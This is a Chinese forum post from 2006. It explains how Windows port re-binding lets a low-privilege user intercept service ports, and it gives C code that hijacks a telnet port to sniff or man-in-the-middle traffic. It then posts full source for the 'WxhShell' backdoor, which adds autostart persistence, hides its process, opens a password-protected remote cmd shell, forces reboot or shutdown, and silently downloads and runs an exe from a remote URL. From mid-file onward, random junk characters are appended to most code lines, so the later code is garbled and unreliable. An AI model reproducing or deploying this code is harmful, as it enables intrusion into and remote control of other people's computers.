[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; Be$v%4
if(chr[0]==0xd || chr[0]==0xa) { rv?4S`Z,x$
pwd=0; luWr.<1
break; urbSprdF
} TCWt3\
i++; >%\&tS'
} M*gbA5
ln1!%B;
// 如果是非法用户，关闭 socket v\Y8+dD
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zJ*(G_H
} {*PbD;/f
WGwIc7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1IPRI<1U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '< .gKo
{j8M78}3
while(1) { [4 v1 N
yM2}JsC
ZeroMemory(cmd,KEY_BUFF); ^TZ`1:oL#
;Yve m
// 自动支持客户端 telnet标准 +HT?>k
j=0; H$ZLtPv5
while(j<KEY_BUFF) { ?/}N
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I7 = 4%)A
cmd[j]=chr[0]; ]x(cX&S-9
if(chr[0]==0xa || chr[0]==0xd) { /lS5B6NU
cmd[j]=0; }'p"q)
break; %dwI;%0
} hLICu[LC?
j++; 0FcG;i+
} cj\?vX\V
Ul<:Yt&nI
// 下载文件 Y|!m
if(strstr(cmd,"http://")) { "wR1=&gk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8l l}"
if(DownloadFile(cmd,wsh)) q o6~)Aws
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &_$0lIDQ
else r_hs_n!6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tMiy`CPh
} 3GL,=q
else { 3y%,f|ju
LC,6hpmh
switch(cmd[0]) { Bra}HjHO
-#Ys67,4N
// 帮助 JJHO E{%
case '?': { 9Ca }+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b_vKP
break; xj[v$HP
} YSB~04
// 安装 ?,`g h}>
case 'i': { ]++,7Z\AU
if(Install()) ,m Nd#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{Cg3v`Rd
else Oz4vV_a&'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0j :u.x
break; Yosfk\D
} TWM^5 L:U
// 卸载 G1a56TIN~
case 'r': { <{T5}"e
if(Uninstall()) pkf$%{"e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2~l+2..
else xOx=Z\ c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `\r<3?
break; &`IJ55Z-)
} -EJj j {
// 显示 wxhshell 所在路径 y(wb?86#W5
case 'p': { _;,"!'R`f
char svExeFile[MAX_PATH]; Iw4[D#o
strcpy(svExeFile,"\n\r"); T#\=v(_NR
strcat(svExeFile,ExeFile); BJt]k7ku+
send(wsh,svExeFile,strlen(svExeFile),0); S6<#] 6Z
break; =h70!) Z5
} DYF(O-hJK
// 重启 QM'|k6
case 'b': { \fsNI T/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rvacCwI
if(Boot(REBOOT)) P(UY}oU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +G6 Ge;
else { 0a2#36;_IK
closesocket(wsh); j 8)*'T
ExitThread(0); ?_B'#,tI
} Q@!XVQx4
break; dT{GB!jz
} 1k]L,CX
// 关机 ~d3|zlh
case 'd': { cw,|,uXq 6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]K'OH&
if(Boot(SHUTDOWN)) 0RjFa;j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!lKP>
else { AyNpY_B0c
closesocket(wsh); v|KGzQx$.*
ExitThread(0); nvCp-Z$
} EiDnUL(W7h
break; Ng2Z7k
} ,9M2'6=
// 获取shell :Q,~Nw>
case 's': { @?jbah#
CmdShell(wsh); ;Y,zlq2
closesocket(wsh); e8E'X
ExitThread(0); XmaRg{22
break; icQQLSU5
} ($Op*bR
// 退出 e)y+]
case 'x': { /#z"c]#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9C8 G(r
CloseIt(wsh); $o.;}
break; T[I7.8g
} bXeJk]#y
// 离开 86eaX+F
case 'q': { 5|7<ZL3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); k(M"k!M
closesocket(wsh); O)ose?Z
WSACleanup(); AV4fN@BX
exit(1); XSCcumde!
break; @ M4m!;rM
} M~h.MPI
} A)gSOC{3F)
} .mNw^>:cq
Z&4L///
// 提示信息 w5yX~8UzJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0|]d^bo
} LqXVi80
} 3<l}gB'S[
K,6{c^qf
return; v0TbQ
} >oN Wf
}]M'f:%b
// shell模块句柄 7[mP@ {
int CmdShell(SOCKET sock) /bn$@Cy@
{ F2MC)&#
STARTUPINFO si; 4\ |/S@.
ZeroMemory(&si,sizeof(si)); DZ1.Bm0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5i}g$yjZ<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; upaQoX/C
PROCESS_INFORMATION ProcessInfo; ;<GK{8
char cmdline[]="cmd"; {>PEl;,-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B873UN
return 0; ~N/a\%`
} *&I _fAh]
>K&chg@Hv
// 自身启动模式 .'.bokl/
int StartFromService(void) ?p/}eRgi
{ EM@EB<pRX
typedef struct H!6+x*P0
{ (sI`FW_
DWORD ExitStatus; hT,rcIkg:
DWORD PebBaseAddress; '? -N
DWORD AffinityMask; 5wdKu,nq
DWORD BasePriority; P_b!^sq9
ULONG UniqueProcessId; w ~"%&SNN
ULONG InheritedFromUniqueProcessId; E^gN]Z"O
} PROCESS_BASIC_INFORMATION; `Kn+d~S4
2.=G
PROCNTQSIP NtQueryInformationProcess; >$yA ,N
cW_l|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q!+:zZu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]NtBP
'r(g5H1}gi
HANDLE hProcess; ..k8HFz>"
PROCESS_BASIC_INFORMATION pbi; Kv:Rvo
+sTPTCLE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =y(*?TZH
if(NULL == hInst ) return 0; miTff[hsMa
$iMLT8U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qg]A^{.1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vrd16s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T@`Al('
19-V;F@;
if (!NtQueryInformationProcess) return 0; m`n~-_
SjY|aW+wAL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R#.H&#
if(!hProcess) return 0; ,KD?kSIf
y"ss<`Cn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WbBd<^Q
Rry]6(
CloseHandle(hProcess); Zy.ls&<:
|:Maa6(W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %rgW}Z5
if(hProcess==NULL) return 0; NZ0?0*
`S5::U6E
HMODULE hMod; 8h4]<T
char procName[255]; %3|/t-US
unsigned long cbNeeded; I.(@#v7T
].5q,A]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qX; F+~
C^5 V
CloseHandle(hProcess); 5W&L cBB
>M!LC
if(strstr(procName,"services")) return 1; // 以服务启动 Bd)Cijr
_h1eW9q
return 0; // 注册表启动 #d*gWwnx"
} "vQ%` Q
_uL[ Z
// 主模块 _Gaem"k|
int StartWxhshell(LPSTR lpCmdLine) vF pKkS343
{ ,!GoFu
SOCKET wsl; =J]EVD
BOOL val=TRUE; o)n)Z~
int port=0; 12hD*,A5j
struct sockaddr_in door; Rm79mh9
}p)Hw2
if(wscfg.ws_autoins) Install(); 7:Rt) EE2
6>;OVX
port=atoi(lpCmdLine); 4[JF.O6}
H?M:<q0|G
if(port<=0) port=wscfg.ws_port; K/*"U*9Kv
sLJ]N0t
WSADATA data; b SgbvnJ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^);M}~
{fHY[8su0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mvc ;.+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >;Vfs{Z(q
door.sin_family = AF_INET; JC-> eY"O2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vr{|ubG]d
door.sin_port = htons(port); /\uopa
={ -kQq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CDXN%~0h
closesocket(wsl); ~Dz:n]Vk/
return 1; n}e%c B
} Hm!"%
9L3P'!Z
if(listen(wsl,2) == INVALID_SOCKET) { }!>\Ja<\
closesocket(wsl); "aI)LlyCY
return 1; ebNRZJ?C,
} %t!r pyD
Wxhshell(wsl); TOKt{`2}
WSACleanup(); ~TXu20c
p-)@#hE
return 0; pX*E(Q)@!
3D!7,@&>3
} $ta JVVF
4&%H;Q
// 以NT服务方式启动 \}u/0UF97
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (Cq 38~mR
{ ?wv3HN
DWORD status = 0; Vn:v{-i
DWORD specificError = 0xfffffff; l;A'^
\v\ONp"
serviceStatus.dwServiceType = SERVICE_WIN32; );TB(PQsBT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; dY0W=,X$7T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5pDE!6gQ
serviceStatus.dwWin32ExitCode = 0; 2-N7%]h
serviceStatus.dwServiceSpecificExitCode = 0; mwsBj)
serviceStatus.dwCheckPoint = 0; "=C~IW
serviceStatus.dwWaitHint = 0; :AFU5mR4&
T ,!CDm$=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u,`3_I^
if (hServiceStatusHandle==0) return; N~IAm:G}[
9+@z:j
status = GetLastError(); 0V]MAuD($
if (status!=NO_ERROR) NB'G{),)Z
{ qLb~^'<iD
serviceStatus.dwCurrentState = SERVICE_STOPPED; \b"|p%CL8
serviceStatus.dwCheckPoint = 0; hEZo{0:b"
serviceStatus.dwWaitHint = 0; 9I [:#,zdf
serviceStatus.dwWin32ExitCode = status; 50Gu~No6
serviceStatus.dwServiceSpecificExitCode = specificError; !\d~9H%`B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zjcSn7iu
return; f{O-\
} KehM.c^
zDtC]y'
serviceStatus.dwCurrentState = SERVICE_RUNNING; >R6mI
serviceStatus.dwCheckPoint = 0; zA+0jhuG
serviceStatus.dwWaitHint = 0; O;V^Fk(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~xc/Dsb$
} &[j9Up'
')yYpWO
// 处理NT服务事件，比如：启动、停止 Vj1V;dHv
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~}d\sQF.
{ A-3^~aEgx
switch(fdwControl) J(!=Dno
{ 7A'E+>1d
case SERVICE_CONTROL_STOP: e&:%Rr]x
serviceStatus.dwWin32ExitCode = 0; L'`Au/%S}
serviceStatus.dwCurrentState = SERVICE_STOPPED; v?6*n>R
serviceStatus.dwCheckPoint = 0; KaOXqFT=
serviceStatus.dwWaitHint = 0; }Rh%bf7,
{ 'U ZzH$h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "s]
} XRQ1Uh6
return; Uf7ACv)Dn
case SERVICE_CONTROL_PAUSE: "fhQ{b$i
serviceStatus.dwCurrentState = SERVICE_PAUSED; YIZu{
break; <A|z
case SERVICE_CONTROL_CONTINUE: RFFbS{U*
serviceStatus.dwCurrentState = SERVICE_RUNNING; b&4JHyleF
break; OvwoU=u
case SERVICE_CONTROL_INTERROGATE: )CE]s)6+2
break; !O`j
}; p<0=. ~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -EFdP]XO
} :eD-'#@$u
/4+Q; P
// 标准应用程序主函数 na9YlJ\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \<xo`2b
{ 0g=vMLi
3WwCo.q;m
// 获取操作系统版本 us1$
OsIsNt=GetOsVer(); <"`f!k#[
GetModuleFileName(NULL,ExeFile,MAX_PATH); F;_o`h
Qx|HvT2P
// 从命令行安装 toPFkc6`
if(strpbrk(lpCmdLine,"iI")) Install(); LE5N2k
:%Iv<d<
// 下载执行文件 J"GsdLG.-
if(wscfg.ws_downexe) { qc)+T_m
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tl*v(ZW
WinExec(wscfg.ws_filenam,SW_HIDE); T|h!06
